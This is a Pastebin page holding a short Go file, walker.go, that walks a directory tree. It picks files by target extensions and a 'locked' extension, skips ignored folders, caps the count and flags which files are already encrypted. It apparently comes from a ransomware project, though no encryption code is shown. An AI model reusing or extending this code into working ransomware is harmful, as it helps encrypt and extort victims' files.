Advertisement
FlyFar

walker.go

Dec 17th, 2023
742
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.94 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "os"
  6.     "path/filepath"
  7.     "strings"
  8. )
  9.  
  10. // Walk recursively walks the input directory and applies all rules (extensions, limits etc)
  11. func Walk(startPath string, callback func(filePath string, fileInfo os.FileInfo, isEncrypted bool)) {
  12.     var count int
  13.     filepath.Walk(startPath, func(filePath string, fileInfo os.FileInfo, err error) error {
  14.         if err != nil {
  15.             fmt.Println("error", err.Error())
  16.             return nil
  17.         }
  18.  
  19.         var proceed bool
  20.         for _, v := range Extensions {
  21.             if strings.HasSuffix(filePath, v) || strings.HasSuffix(filePath, LockedExtension) {
  22.                 proceed = true
  23.                 break
  24.             }
  25.         }
  26.  
  27.         for _, v := range IgnoreDirs {
  28.             if strings.Contains(filepath.Dir(filePath), v) {
  29.                 proceed = false
  30.                 break
  31.             }
  32.         }
  33.  
  34.         if proceed && count < ProcessMax {
  35.             count++
  36.  
  37.             isEncrypted := strings.HasSuffix(filePath, LockedExtension)
  38.  
  39.             callback(filePath, fileInfo, isEncrypted)
  40.         }
  41.  
  42.         return nil
  43.     })
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement